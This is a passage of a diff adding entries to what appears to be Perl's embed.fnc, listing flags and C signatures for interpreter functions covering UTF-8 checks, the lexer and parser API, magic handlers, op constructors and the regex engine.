+#if defined(PERL_IN_UTF8_C) || defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_REGEXEC_C)
+EXp |UV |_to_fold_latin1|const U8 c|NN U8 *p|NN STRLEN *lenp|const unsigned int flags
+#endif
+#if defined(PERL_IN_UTF8_C) || defined(PERL_IN_PP_C)
+p |UV |_to_upper_title_latin1|const U8 c|NN U8 *p|NN STRLEN *lenp|const char S_or_s
+#endif
+AMp |UV |to_uni_lower |UV c|NN U8 *p|NN STRLEN *lenp
+AMmp |UV |to_uni_fold |UV c|NN U8 *p|NN STRLEN *lenp
+AMp |UV |_to_uni_fold_flags|UV c|NN U8 *p|NN STRLEN *lenp|U8 flags
+ADMpPR |bool |is_uni_alnum_lc|UV c
+ADMpPR |bool |is_uni_alnumc_lc|UV c
+ADMpPR |bool |is_uni_idfirst_lc|UV c
+AMpR |bool |_is_uni_perl_idcont|UV c
+AMpR |bool |_is_uni_perl_idstart|UV c
+ADMpPR |bool |is_uni_alpha_lc|UV c
+ADMpPR |bool |is_uni_ascii_lc|UV c
+ADMpPR |bool |is_uni_space_lc|UV c
+ADMpPR |bool |is_uni_blank_lc|UV c
+ADMpPR |bool |is_uni_cntrl_lc|UV c
+ADMpPR |bool |is_uni_graph_lc|UV c
+ADMpPR |bool |is_uni_digit_lc|UV c
+ADMpPR |bool |is_uni_upper_lc|UV c
+ADMpPR |bool |is_uni_lower_lc|UV c
+ADMpPR |bool |is_uni_print_lc|UV c
+ADMpPR |bool |is_uni_punct_lc|UV c
+ADMpPR |bool |is_uni_xdigit_lc|UV c
+AnpdR |bool |is_invariant_string|NN const U8 *s|STRLEN len
+AmpdR |bool |is_ascii_string|NN const U8 *s|STRLEN len
+AnpdD |STRLEN |is_utf8_char |NN const U8 *s
+Abmnpd |STRLEN |is_utf8_char_buf|NN const U8 *buf|NN const U8 *buf_end
+Anpd |bool |is_utf8_string |NN const U8 *s|STRLEN len
+Anpdmb |bool |is_utf8_string_loc|NN const U8 *s|STRLEN len|NULLOK const U8 **ep
+Anpd |bool |is_utf8_string_loclen|NN const U8 *s|STRLEN len|NULLOK const U8 **ep|NULLOK STRLEN *el
+AMpR |bool |_is_uni_FOO|const U8 classnum|const UV c
+AMpR |bool |_is_utf8_FOO|const U8 classnum|NN const U8 *p
+ADMpR |bool |is_utf8_alnum |NN const U8 *p
+ADMpR |bool |is_utf8_alnumc |NN const U8 *p
+ADMpR |bool |is_utf8_idfirst|NN const U8 *p
+ADMpR |bool |is_utf8_xidfirst|NN const U8 *p
+AMpR |bool |_is_utf8_idcont|NN const U8 *p
+AMpR |bool |_is_utf8_idstart|NN const U8 *p
+AMpR |bool |_is_utf8_xidcont|NN const U8 *p
+AMpR |bool |_is_utf8_xidstart|NN const U8 *p
+AMpR |bool |_is_utf8_perl_idcont|NN const U8 *p
+AMpR |bool |_is_utf8_perl_idstart|NN const U8 *p
+ADMpR |bool |is_utf8_idcont |NN const U8 *p
+ADMpR |bool |is_utf8_xidcont |NN const U8 *p
+ADMpR |bool |is_utf8_alpha |NN const U8 *p
+ADMpR |bool |is_utf8_ascii |NN const U8 *p
+ADMpR |bool |is_utf8_blank |NN const U8 *p
+ADMpR |bool |is_utf8_space |NN const U8 *p
+ADMpR |bool |is_utf8_perl_space |NN const U8 *p
+ADMpR |bool |is_utf8_perl_word |NN const U8 *p
+ADMpR |bool |is_utf8_cntrl |NN const U8 *p
+ADMpR |bool |is_utf8_digit |NN const U8 *p
+ADMpR |bool |is_utf8_posix_digit |NN const U8 *p
+ADMpR |bool |is_utf8_graph |NN const U8 *p
+ADMpR |bool |is_utf8_upper |NN const U8 *p
+ADMpR |bool |is_utf8_lower |NN const U8 *p
+ADMpR |bool |is_utf8_print |NN const U8 *p
+ADMpR |bool |is_utf8_punct |NN const U8 *p
+ADMpR |bool |is_utf8_xdigit |NN const U8 *p
+AMpR |bool |_is_utf8_mark |NN const U8 *p
+ADMpR |bool |is_utf8_mark |NN const U8 *p
+: Used in perly.y
+p |OP* |jmaybe |NN OP *o
+: Used in pp.c
+pP |I32 |keyword |NN const char *name|I32 len|bool all_keywords
+#if defined(PERL_IN_OP_C)
+s |void |inplace_aassign |NN OP* o
+#endif
+Ap |void |leave_scope |I32 base
+: Public lexer API
+AMpd |void |lex_start |NULLOK SV* line|NULLOK PerlIO *rsfp|U32 flags
+AMpd |bool |lex_bufutf8
+AMpd |char* |lex_grow_linestr|STRLEN len
+AMpd |void |lex_stuff_pvn |NN const char* pv|STRLEN len|U32 flags
+AMpd |void |lex_stuff_pv |NN const char* pv|U32 flags
+AMpd |void |lex_stuff_sv |NN SV* sv|U32 flags
+AMpd |void |lex_unstuff |NN char* ptr
+AMpd |void |lex_read_to |NN char* ptr
+AMpd |void |lex_discard_to |NN char* ptr
+AMpd |bool |lex_next_chunk |U32 flags
+AMpd |I32 |lex_peek_unichar|U32 flags
+AMpd |I32 |lex_read_unichar|U32 flags
+AMpd |void |lex_read_space |U32 flags
+: Public parser API
+AMpd |OP* |parse_arithexpr|U32 flags
+AMpd |OP* |parse_termexpr |U32 flags
+AMpd |OP* |parse_listexpr |U32 flags
+AMpd |OP* |parse_fullexpr |U32 flags
+AMpd |OP* |parse_block |U32 flags
+AMpd |OP* |parse_barestmt |U32 flags
+AMpd |SV* |parse_label |U32 flags
+AMpd |OP* |parse_fullstmt |U32 flags
+AMpd |OP* |parse_stmtseq |U32 flags
+: Used in various files
+Apd |void |op_null |NN OP* o
+: FIXME. Used by Data::Alias
+EXp |void |op_clear |NN OP* o
+Ap |void |op_refcnt_lock
+Ap |void |op_refcnt_unlock
+Apdn |OP* |op_sibling_splice|NULLOK OP *parent|NULLOK OP *start \
+ |int del_count|NULLOK OP* insert
+#ifdef PERL_OP_PARENT
+Apdn |OP* |op_parent|NN OP *o
+#endif
+#if defined(PERL_IN_OP_C)
+s |OP* |listkids |NULLOK OP* o
+#endif
+p |OP* |list |NULLOK OP* o
+Apd |void |load_module|U32 flags|NN SV* name|NULLOK SV* ver|...
+Ap |void |vload_module|U32 flags|NN SV* name|NULLOK SV* ver|NULLOK va_list* args
+: Used in perly.y
+p |OP* |localize |NN OP *o|I32 lex
+ApdR |I32 |looks_like_number|NN SV *const sv
+Apd |UV |grok_bin |NN const char* start|NN STRLEN* len_p|NN I32* flags|NULLOK NV *result
+#if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_TOKE_C) || defined(PERL_IN_DQUOTE_C)
+EMpRX |bool |grok_bslash_x |NN char** s|NN UV* uv \
+ |NN const char** error_msg \
+ |const bool output_warning \
+ |const bool strict \
+ |const bool silence_non_portable \
+ |const bool utf8
+EMpRX |char |grok_bslash_c |const char source|const bool output_warning
+EMpRX |bool |grok_bslash_o |NN char** s|NN UV* uv \
+ |NN const char** error_msg \
+ |const bool output_warning \
+ |const bool strict \
+ |const bool silence_non_portable \
+ |const bool utf8
+EMiR |char*|form_short_octal_warning|NN const char * const s \
+ |const STRLEN len
+EiPRn |I32 |regcurly |NN const char *s
+#endif
+Apd |UV |grok_hex |NN const char* start|NN STRLEN* len_p|NN I32* flags|NULLOK NV *result
+Apd |int |grok_infnan |NN const char** sp|NN const char *send
+Apd |int |grok_number |NN const char *pv|STRLEN len|NULLOK UV *valuep
+Apd |int |grok_number_flags|NN const char *pv|STRLEN len|NULLOK UV *valuep|U32 flags
+ApdR |bool |grok_numeric_radix|NN const char **sp|NN const char *send
+Apd |UV |grok_oct |NN const char* start|NN STRLEN* len_p|NN I32* flags|NULLOK NV *result
+EXpn |bool |grok_atoUV |NN const char* pv|NN UV* valptr|NULLOK const char** endptr
+: These are all indirectly referenced by globals.c. This is somewhat annoying.
+p |int |magic_clearenv |NN SV* sv|NN MAGIC* mg
+p |int |magic_clear_all_env|NN SV* sv|NN MAGIC* mg
+dp |int |magic_clearhint|NN SV* sv|NN MAGIC* mg
+dp |int |magic_clearhints|NN SV* sv|NN MAGIC* mg
+p |int |magic_clearisa |NULLOK SV* sv|NN MAGIC* mg
+p |int |magic_clearpack|NN SV* sv|NN MAGIC* mg
+p |int |magic_clearsig |NN SV* sv|NN MAGIC* mg
+p |int |magic_copycallchecker|NN SV* sv|NN MAGIC *mg|NN SV *nsv \
+ |NULLOK const char *name|I32 namlen
+p |int |magic_existspack|NN SV* sv|NN const MAGIC* mg
+p |int |magic_freeovrld|NN SV* sv|NN MAGIC* mg
+p |int |magic_get |NN SV* sv|NN MAGIC* mg
+p |int |magic_getarylen|NN SV* sv|NN const MAGIC* mg
+p |int |magic_getdefelem|NN SV* sv|NN MAGIC* mg
+p |int |magic_getdebugvar|NN SV* sv|NN MAGIC* mg
+p |int |magic_getnkeys |NN SV* sv|NN MAGIC* mg
+p |int |magic_getpack |NN SV* sv|NN MAGIC* mg
+p |int |magic_getpos |NN SV* sv|NN MAGIC* mg
+p |int |magic_getsig |NN SV* sv|NN MAGIC* mg
+p |int |magic_getsubstr|NN SV* sv|NN MAGIC* mg
+p |int |magic_gettaint |NN SV* sv|NN MAGIC* mg
+p |int |magic_getuvar |NN SV* sv|NN MAGIC* mg
+p |int |magic_getvec |NN SV* sv|NN MAGIC* mg
+p |int |magic_nextpack |NN SV *sv|NN MAGIC *mg|NN SV *key
+p |U32 |magic_regdata_cnt|NN SV* sv|NN MAGIC* mg
+p |int |magic_regdatum_get|NN SV* sv|NN MAGIC* mg
+:removing noreturn to silence a warning for this function resulted in no
+:change to the interpreter DLL image under VS 2003 -O1 -GL 32 bits only because
+:this is used in a magic vtable, do not use this on conventionally called funcs
+#ifdef _MSC_VER
+p |int |magic_regdatum_set|NN SV* sv|NN MAGIC* mg
+#else
+pr |int |magic_regdatum_set|NN SV* sv|NN MAGIC* mg
+#endif
+p |int |magic_set |NN SV* sv|NN MAGIC* mg
+p |int |magic_setarylen|NN SV* sv|NN MAGIC* mg
+p |int |magic_cleararylen_p|NN SV* sv|NN MAGIC* mg
+p |int |magic_freearylen_p|NN SV* sv|NN MAGIC* mg
+p |int |magic_setdbline|NN SV* sv|NN MAGIC* mg
+p |int |magic_setdebugvar|NN SV* sv|NN MAGIC* mg
+p |int |magic_setdefelem|NN SV* sv|NN MAGIC* mg
+p |int |magic_setenv |NN SV* sv|NN MAGIC* mg
+dp |int |magic_sethint |NN SV* sv|NN MAGIC* mg
+p |int |magic_setisa |NN SV* sv|NN MAGIC* mg
+p |int |magic_setlvref |NN SV* sv|NN MAGIC* mg
+p |int |magic_setmglob |NN SV* sv|NN MAGIC* mg
+p |int |magic_setnkeys |NN SV* sv|NN MAGIC* mg
+p |int |magic_setpack |NN SV* sv|NN MAGIC* mg
+p |int |magic_setpos |NN SV* sv|NN MAGIC* mg
+p |int |magic_setregexp|NN SV* sv|NN MAGIC* mg
+p |int |magic_setsig |NULLOK SV* sv|NN MAGIC* mg
+p |int |magic_setsubstr|NN SV* sv|NN MAGIC* mg
+p |int |magic_settaint |NN SV* sv|NN MAGIC* mg
+p |int |magic_setuvar |NN SV* sv|NN MAGIC* mg
+p |int |magic_setvec |NN SV* sv|NN MAGIC* mg
+p |int |magic_setutf8 |NN SV* sv|NN MAGIC* mg
+p |int |magic_set_all_env|NN SV* sv|NN MAGIC* mg
+p |U32 |magic_sizepack |NN SV* sv|NN MAGIC* mg
+p |int |magic_wipepack |NN SV* sv|NN MAGIC* mg
+pod |SV* |magic_methcall |NN SV *sv|NN const MAGIC *mg \
+ |NN SV *meth|U32 flags \
+ |U32 argc|...
+Ap |I32 * |markstack_grow
+#if defined(USE_LOCALE_COLLATE)
+p |int |magic_setcollxfrm|NN SV* sv|NN MAGIC* mg
+: Defined in locale.c, used only in sv.c
+p |char* |mem_collxfrm |NN const char* s|STRLEN len|NN STRLEN* xlen
+#endif
+Afpd |SV* |mess |NN const char* pat|...
+Apd |SV* |mess_sv |NN SV* basemsg|bool consume
+Apd |SV* |vmess |NN const char* pat|NULLOK va_list* args
+: FIXME - either make it public, or stop exporting it. (Data::Alias uses this)
+: Used in gv.c, op.c, toke.c
+EXp |void |qerror |NN SV* err
+Apd |void |sortsv |NULLOK SV** array|size_t num_elts|NN SVCOMPARE_t cmp
+Apd |void |sortsv_flags |NULLOK SV** array|size_t num_elts|NN SVCOMPARE_t cmp|U32 flags
+Apd |int |mg_clear |NN SV* sv
+Apd |int |mg_copy |NN SV *sv|NN SV *nsv|NULLOK const char *key \
+ |I32 klen
+: Defined in mg.c, used only in scope.c
+pd |void |mg_localize |NN SV* sv|NN SV* nsv|bool setmagic
+ApdRn |MAGIC* |mg_find |NULLOK const SV* sv|int type
+ApdRn |MAGIC* |mg_findext |NULLOK const SV* sv|int type|NULLOK const MGVTBL *vtbl
+: exported for re.pm
+EXpR |MAGIC* |mg_find_mglob |NN SV* sv
+Apd |int |mg_free |NN SV* sv
+Apd |void |mg_free_type |NN SV* sv|int how
+Apd |int |mg_get |NN SV* sv
+ApdD |U32 |mg_length |NN SV* sv
+Apdn |void |mg_magical |NN SV* sv
+Apd |int |mg_set |NN SV* sv
+Ap |I32 |mg_size |NN SV* sv
+Apn |void |mini_mktime |NN struct tm *ptm
+AMmd |OP* |op_lvalue |NULLOK OP* o|I32 type
+poX |OP* |op_lvalue_flags|NULLOK OP* o|I32 type|U32 flags
+p |void |finalize_optree |NN OP* o
+#if defined(PERL_IN_OP_C)
+s |void |finalize_op |NN OP* o
+s |void |move_proto_attr|NN OP **proto|NN OP **attrs|NN const GV *name
+#endif
+: Used in op.c and pp_sys.c
+p |int |mode_from_discipline|NULLOK const char* s|STRLEN len
+Ap |const char* |moreswitches |NN const char* s
+Ap |NV |my_atof |NN const char *s
+#if !defined(HAS_MEMCPY) || (!defined(HAS_MEMMOVE) && !defined(HAS_SAFE_MEMCPY))
+Anp |void* |my_bcopy |NN const void* vfrom|NN void* vto|size_t len
+#endif
+#if !defined(HAS_BZERO) && !defined(HAS_MEMSET)
+Anp |void* |my_bzero |NN void* vloc|size_t len
+#endif
+Apr |void |my_exit |U32 status
+Apr |void |my_failure_exit
+Ap |I32 |my_fflush_all
+Anp |Pid_t |my_fork
+Anp |void |atfork_lock
+Anp |void |atfork_unlock
+Apmb |I32 |my_lstat
+pX |I32 |my_lstat_flags |NULLOK const U32 flags
+#if !defined(HAS_MEMCMP) || !defined(HAS_SANE_MEMCMP)
+AnpP |int |my_memcmp |NN const void* vs1|NN const void* vs2|size_t len
+#endif
+#if !defined(HAS_MEMSET)
+Anp |void* |my_memset |NN void* vloc|int ch|size_t len
+#endif
+#if !defined(PERL_IMPLICIT_SYS)
+Ap |I32 |my_pclose |NULLOK PerlIO* ptr
+Ap |PerlIO*|my_popen |NN const char* cmd|NN const char* mode
+#endif
+Ap |PerlIO*|my_popen_list |NN const char* mode|int n|NN SV ** args
+Ap |void |my_setenv |NULLOK const char* nam|NULLOK const char* val
+Apmb |I32 |my_stat
+pX |I32 |my_stat_flags |NULLOK const U32 flags
+Afp |char * |my_strftime |NN const char *fmt|int sec|int min|int hour|int mday|int mon|int year|int wday|int yday|int isdst
+: Used in pp_ctl.c
+p |void |my_unexec
+ADMnoPR |UV |NATIVE_TO_NEED |const UV enc|const UV ch
+ADMnoPR |UV |ASCII_TO_NEED |const UV enc|const UV ch
+Apa |OP* |newANONLIST |NULLOK OP* o
+Apa |OP* |newANONHASH |NULLOK OP* o
+Ap |OP* |newANONSUB |I32 floor|NULLOK OP* proto|NULLOK OP* block
+Apda |OP* |newASSIGNOP |I32 flags|NULLOK OP* left|I32 optype|NULLOK OP* right
+Apda |OP* |newCONDOP |I32 flags|NN OP* first|NULLOK OP* trueop|NULLOK OP* falseop
+Apd |CV* |newCONSTSUB |NULLOK HV* stash|NULLOK const char* name|NULLOK SV* sv
+Apd |CV* |newCONSTSUB_flags|NULLOK HV* stash \
+ |NULLOK const char* name|STRLEN len \
+ |U32 flags|NULLOK SV* sv
+Ap |void |newFORM |I32 floor|NULLOK OP* o|NULLOK OP* block
+Apda |OP* |newFOROP |I32 flags|NULLOK OP* sv|NN OP* expr|NULLOK OP* block|NULLOK OP* cont
+Apda |OP* |newGIVENOP |NN OP* cond|NN OP* block|PADOFFSET defsv_off
+Apda |OP* |newLOGOP |I32 optype|I32 flags|NN OP *first|NN OP *other
+Apda |OP* |newLOOPEX |I32 type|NN OP* label
+Apda |OP* |newLOOPOP |I32 flags|I32 debuggable|NULLOK OP* expr|NULLOK OP* block
+Apda |OP* |newNULLLIST
+Apda |OP* |newOP |I32 optype|I32 flags
+Ap |void |newPROG |NN OP* o
+Apda |OP* |newRANGE |I32 flags|NN OP* left|NN OP* right
+Apda |OP* |newSLICEOP |I32 flags|NULLOK OP* subscript|NULLOK OP* listop
+Apda |OP* |newSTATEOP |I32 flags|NULLOK char* label|NULLOK OP* o
+Abm |CV* |newSUB |I32 floor|NULLOK OP* o|NULLOK OP* proto \
+ |NULLOK OP* block
+p |CV * |newXS_len_flags|NULLOK const char *name|STRLEN len \
+ |NN XSUBADDR_t subaddr\
+ |NULLOK const char *const filename \
+ |NULLOK const char *const proto \
+ |NULLOK SV **const_svp|U32 flags
+pX |CV * |newXS_deffile |NN const char *name|NN XSUBADDR_t subaddr
+ApM |CV * |newXS_flags |NULLOK const char *name|NN XSUBADDR_t subaddr\
+ |NN const char *const filename \
+ |NULLOK const char *const proto|U32 flags
+Apd |CV* |newXS |NULLOK const char *name|NN XSUBADDR_t subaddr\
+ |NN const char *filename
+AmdbR |AV* |newAV
+Apa |OP* |newAVREF |NN OP* o
+Apda |OP* |newBINOP |I32 type|I32 flags|NULLOK OP* first|NULLOK OP* last
+Apa |OP* |newCVREF |I32 flags|NULLOK OP* o
+Apda |OP* |newGVOP |I32 type|I32 flags|NN GV* gv
+Am |GV* |newGVgen |NN const char* pack
+Apa |GV* |newGVgen_flags |NN const char* pack|U32 flags
+Apa |OP* |newGVREF |I32 type|NULLOK OP* o
+ApaR |OP* |newHVREF |NN OP* o
+AmdbR |HV* |newHV
+ApaR |HV* |newHVhv |NULLOK HV *hv
+Apabm |IO* |newIO
+Apda |OP* |newLISTOP |I32 type|I32 flags|NULLOK OP* first|NULLOK OP* last
+AMpdan |PADNAME *|newPADNAMEouter|NN PADNAME *outer
+AMpdan |PADNAME *|newPADNAMEpvn|NN const char *s|STRLEN len
+AMpdan |PADNAMELIST *|newPADNAMELIST|size_t max
+#ifdef USE_ITHREADS
+Apda |OP* |newPADOP |I32 type|I32 flags|NN SV* sv
+#endif
+Apda |OP* |newPMOP |I32 type|I32 flags
+Apda |OP* |newPVOP |I32 type|I32 flags|NULLOK char* pv
+Apa |SV* |newRV |NN SV *const sv
+Apda |SV* |newRV_noinc |NN SV *const tmpRef
+Apda |SV* |newSV |const STRLEN len
+Apa |OP* |newSVREF |NN OP* o
+Apda |OP* |newSVOP |I32 type|I32 flags|NN SV* sv
+ApdR |OP* |newDEFSVOP
+pa |SV* |newSVavdefelem |NN AV *av|SSize_t ix|bool extendible
+Apda |SV* |newSViv |const IV i
+Apda |SV* |newSVuv |const UV u
+Apda |SV* |newSVnv |const NV n
+Apda |SV* |newSVpv |NULLOK const char *const s|const STRLEN len
+Apda |SV* |newSVpvn |NULLOK const char *const s|const STRLEN len
+Apda |SV* |newSVpvn_flags |NULLOK const char *const s|const STRLEN len|const U32 flags
+Apda |SV* |newSVhek |NULLOK const HEK *const hek
+Apda |SV* |newSVpvn_share |NULLOK const char* s|I32 len|U32 hash
+Apda |SV* |newSVpv_share |NULLOK const char* s|U32 hash
+Afpda |SV* |newSVpvf |NN const char *const pat|...
+Apa |SV* |vnewSVpvf |NN const char *const pat|NULLOK va_list *const args
+Apd |SV* |newSVrv |NN SV *const rv|NULLOK const char *const classname
+Apda |SV* |newSVsv |NULLOK SV *const old
+Apda |SV* |newSV_type |const svtype type
+Apda |OP* |newUNOP |I32 type|I32 flags|NULLOK OP* first
+Apda |OP* |newUNOP_AUX |I32 type|I32 flags|NULLOK OP* first \
+ |NULLOK UNOP_AUX_item *aux
+Apda |OP* |newWHENOP |NULLOK OP* cond|NN OP* block
+Apda |OP* |newWHILEOP |I32 flags|I32 debuggable|NULLOK LOOP* loop \
+ |NULLOK OP* expr|NULLOK OP* block|NULLOK OP* cont \
+ |I32 has_my
+Apda |OP* |newMETHOP |I32 type|I32 flags|NN OP* dynamic_meth
+Apda |OP* |newMETHOP_named|I32 type|I32 flags|NN SV* const_meth
+Apd |CV* |rv2cv_op_cv |NN OP *cvop|U32 flags
+Apd |OP* |ck_entersub_args_list|NN OP *entersubop
+Apd |OP* |ck_entersub_args_proto|NN OP *entersubop|NN GV *namegv|NN SV *protosv
+Apd |OP* |ck_entersub_args_proto_or_list|NN OP *entersubop|NN GV *namegv|NN SV *protosv
+po |OP* |ck_entersub_args_core|NN OP *entersubop|NN GV *namegv \
+ |NN SV *protosv
+Apd |void |cv_get_call_checker|NN CV *cv|NN Perl_call_checker *ckfun_p|NN SV **ckobj_p
+Apd |void |cv_set_call_checker|NN CV *cv|NN Perl_call_checker ckfun|NN SV *ckobj
+Apd |void |cv_set_call_checker_flags|NN CV *cv \
+ |NN Perl_call_checker ckfun \
+ |NN SV *ckobj|U32 flags
+Apd |void |wrap_op_checker|Optype opcode|NN Perl_check_t new_checker|NN Perl_check_t *old_checker_p
+Apa |PERL_SI*|new_stackinfo|I32 stitems|I32 cxitems
+Ap |char* |scan_vstring |NN const char *s|NN const char *const e \
+ |NN SV *sv
+Apd |const char* |scan_version |NN const char *s|NN SV *rv|bool qv
+Apd |const char* |prescan_version |NN const char *s\
+ |bool strict|NULLOK const char** errstr|NULLOK bool *sqv\
+ |NULLOK int *ssaw_decimal|NULLOK int *swidth|NULLOK bool *salpha
+Apd |SV* |new_version |NN SV *ver
+Apd |SV* |upg_version |NN SV *ver|bool qv
+Apd |SV* |vverify |NN SV *vs
+Apd |SV* |vnumify |NN SV *vs
+Apd |SV* |vnormal |NN SV *vs
+Apd |SV* |vstringify |NN SV *vs
+Apd |int |vcmp |NN SV *lhv|NN SV *rhv
+: Used in pp_hot.c and pp_sys.c
+p |PerlIO*|nextargv |NN GV* gv|bool nomagicopen
+AnpP |char* |ninstr |NN const char* big|NN const char* bigend \
+ |NN const char* little|NN const char* lend
+Apd |void |op_free |NULLOK OP* arg
+Mp |OP* |op_unscope |NULLOK OP* o
+#ifdef PERL_CORE
+p |void |opslab_free |NN OPSLAB *slab
+p |void |opslab_free_nopad|NN OPSLAB *slab
+p |void |opslab_force_free|NN OPSLAB *slab
+#endif
+: Used in perly.y
+p |void |package |NN OP* o
+: Used in perly.y
+p |void |package_version|NN OP* v
+: Used in toke.c and perly.y
+p |PADOFFSET|allocmy |NN const char *const name|const STRLEN len\
+ |const U32 flags
+#ifdef USE_ITHREADS
+AMp |PADOFFSET|alloccopstash|NN HV *hv
+#endif
+: Used in perly.y
+pR |OP* |oopsAV |NN OP* o
+: Used in perly.y
+pR |OP* |oopsHV |NN OP* o
+
+: peephole optimiser
+p |void |peep |NULLOK OP* o
+p |void |rpeep |NULLOK OP* o
+: Defined in doio.c, used only in pp_hot.c
+dopM |PerlIO*|start_glob |NN SV *tmpglob|NN IO *io
+
+Ap |void |reentrant_size
+Ap |void |reentrant_init
+Ap |void |reentrant_free
+Anp |void* |reentrant_retry|NN const char *f|...
+
+: "Very" special - can't use the O flag for this one:
+: (The rename from perl_atexit to Perl_call_atexit was in 864dbfa3ca8032ef)
+Ap |void |call_atexit |ATEXIT_t fn|NULLOK void *ptr
+ApdO |I32 |call_argv |NN const char* sub_name|I32 flags|NN char** argv
+ApdO |I32 |call_method |NN const char* methname|I32 flags
+ApdO |I32 |call_pv |NN const char* sub_name|I32 flags
+ApdO |I32 |call_sv |NN SV* sv|VOL I32 flags
+Ap |void |despatch_signals
+Ap |OP * |doref |NN OP *o|I32 type|bool set_op_ref
+ApdO |SV* |eval_pv |NN const char* p|I32 croak_on_error
+ApdO |I32 |eval_sv |NN SV* sv|I32 flags
+ApdO |SV* |get_sv |NN const char *name|I32 flags
+ApdO |AV* |get_av |NN const char *name|I32 flags
+ApdO |HV* |get_hv |NN const char *name|I32 flags
+ApdO |CV* |get_cv |NN const char* name|I32 flags
+Apd |CV* |get_cvn_flags |NN const char* name|STRLEN len|I32 flags
+#ifdef WIN32
+ApPM |char* |my_setlocale |int category|NULLOK const char* locale
+#else
+AmPM |char* |my_setlocale |int category|NULLOK const char* locale
+#endif
+ApOM |int |init_i18nl10n |int printwarn
+ApOM |int |init_i18nl14n |int printwarn
+ApM |char* |my_strerror |const int errnum
+ApOM |void |new_collate |NULLOK const char* newcoll
+ApOM |void |new_ctype |NN const char* newctype
+EXpMn |void |_warn_problematic_locale
+ApOM |void |new_numeric |NULLOK const char* newcoll
+Ap |void |set_numeric_local
+Ap |void |set_numeric_radix
+Ap |void |set_numeric_standard
+ApM |bool |_is_in_locale_category|const bool compiling|const int category
+Apd |void |sync_locale
+ApdO |void |require_pv |NN const char* pv
+Apd |void |pack_cat |NN SV *cat|NN const char *pat|NN const char *patend \
+ |NN SV **beglist|NN SV **endlist|NN SV ***next_in_list|U32 flags
+Apd |void |packlist |NN SV *cat|NN const char *pat|NN const char *patend|NN SV **beglist|NN SV **endlist
+#if defined(PERL_USES_PL_PIDSTATUS) && defined(PERL_IN_UTIL_C)
+s |void |pidgone |Pid_t pid|int status
+#endif
+: Used in perly.y
+p |OP* |pmruntime |NN OP *o|NN OP *expr|NULLOK OP *repl \
+ |bool isreg|I32 floor
+#if defined(PERL_IN_OP_C)
+s |OP* |pmtrans |NN OP* o|NN OP* expr|NN OP* repl
+#endif
+Ap |void |pop_scope
+Ap |void |push_scope
+Amb |OP* |ref |NULLOK OP* o|I32 type
+#if defined(PERL_IN_OP_C)
+s |OP* |refkids |NULLOK OP* o|I32 type
+#endif
+Ap |void |regdump |NN const regexp* r
+ApM |SV* |regclass_swash |NULLOK const regexp *prog \
+ |NN const struct regnode *node|bool doinit \
+ |NULLOK SV **listsvp|NULLOK SV **altsvp
+#if defined(PERL_IN_REGCOMP_C) || defined(PERL_IN_PERL_C) || defined(PERL_IN_UTF8_C)
+AMpR |SV* |_new_invlist_C_array|NN const UV* const list
+EXMp |bool |_invlistEQ |NN SV* const a|NN SV* const b|const bool complement_b
+#endif
+Ap |I32 |pregexec |NN REGEXP * const prog|NN char* stringarg \
+ |NN char* strend|NN char* strbeg \
+ |SSize_t minend |NN SV* screamer|U32 nosave
+Ap |void |pregfree |NULLOK REGEXP* r
+Ap |void |pregfree2 |NN REGEXP *rx
+: FIXME - is anything in re using this now?
+EXp |REGEXP*|reg_temp_copy |NULLOK REGEXP* ret_x|NN REGEXP* rx
+Ap |void |regfree_internal|NN REGEXP *const rx
+#if defined(USE_ITHREADS)
+Ap |void* |regdupe_internal|NN REGEXP * const r|NN CLONE_PARAMS* param
+#endif
+EXp |regexp_engine const *|current_re_engine
+Ap |REGEXP*|pregcomp |NN SV * const pattern|const U32 flags
+p |REGEXP*|re_op_compile |NULLOK SV ** const patternp \
+ |int pat_count|NULLOK OP *expr \
+ |NN const regexp_engine* eng \
+ |NULLOK REGEXP *old_re \
+ |NULLOK bool *is_bare_re \
+ |U32 rx_flags|U32 pm_flags
+Ap |REGEXP*|re_compile |NN SV * const pattern|U32 orig_rx_flags
+Ap |char* |re_intuit_start|NN REGEXP * const rx \
+ |NULLOK SV* sv \
+ |NN const char* const strbeg \
+ |NN char* strpos \
+ |NN char* strend \
+ |const U32 flags \
+ |NULLOK re_scream_pos_data *data
+Ap |SV* |re_intuit_string|NN REGEXP *const r
+Ap |I32 |regexec_flags |NN REGEXP *const rx|NN char *stringarg \
+ |NN char *strend|NN char *strbeg \
+ |SSize_t minend|NN SV *sv \
+ |NULLOK void *data|U32 flags
+ApR |regnode*|regnext |NULLOK regnode* p
+EXp |SV*|reg_named_buff |NN REGEXP * const rx|NULLOK SV * const key \
+ |NULLOK SV * const value|const U32 flags
+EXp |SV*|reg_named_buff_iter |NN REGEXP * const rx|NULLOK const SV * const lastkey \
+ |const U32 flags
+Ap |SV*|reg_named_buff_fetch |NN REGEXP * const rx|NN SV * const namesv|const U32 flags
+Ap |bool|reg_named_buff_exists |NN REGEXP * const rx|NN SV * const key|const U32 flags
+Ap |SV*|reg_named_buff_firstkey |NN REGEXP * const rx|const U32 flags
+Ap |SV*|reg_named_buff_nextkey |NN REGEXP * const rx|const U32 flags
+Ap |SV*|reg_named_buff_scalar |NN REGEXP * const rx|const U32 flags
+Ap |SV*|reg_named_buff_all |NN REGEXP * const rx|const U32 flags
+
+: FIXME - is anything in re using this now?
+EXp |void|reg_numbered_buff_fetch|NN REGEXP * const rx|const I32 paren|NULLOK SV * const sv
+: FIXME - is anything in re using this now?
+EXp |void|reg_numbered_buff_store|NN REGEXP * const rx|const I32 paren|NULLOK SV const * const value
+: FIXME - is anything in re using this now?
+EXp |I32|reg_numbered_buff_length|NN REGEXP * const rx|NN const SV * const sv|const I32 paren
+
+: FIXME - is anything in re using this now?
+EXp |SV*|reg_qr_package|NN REGEXP * const rx
+
+Anp |void |repeatcpy |NN char* to|NN const char* from|I32 len|IV count
+AnpP |char* |rninstr |NN const char* big|NN const char* bigend \
+ |NN const char* little|NN const char* lend
+Ap |Sighandler_t|rsignal |int i|Sighandler_t t
+: Used in pp_sys.c
+p |int |rsignal_restore|int i|NULLOK Sigsave_t* t
+: Used in pp_sys.c
+p |int |rsignal_save |int i|Sighandler_t t1|NN Sigsave_t* save
+Ap |Sighandler_t|rsignal_state|int i
+#if defined(PERL_IN_PP_CTL_C)
+s |void |rxres_free |NN void** rsp
+s |void |rxres_restore |NN void **rsp|NN REGEXP *rx
+#endif
+: Used in pp_hot.c
+p |void |rxres_save |NN void **rsp|NN REGEXP *rx
+#if !defined(HAS_RENAME)
+: Used in pp_sys.c
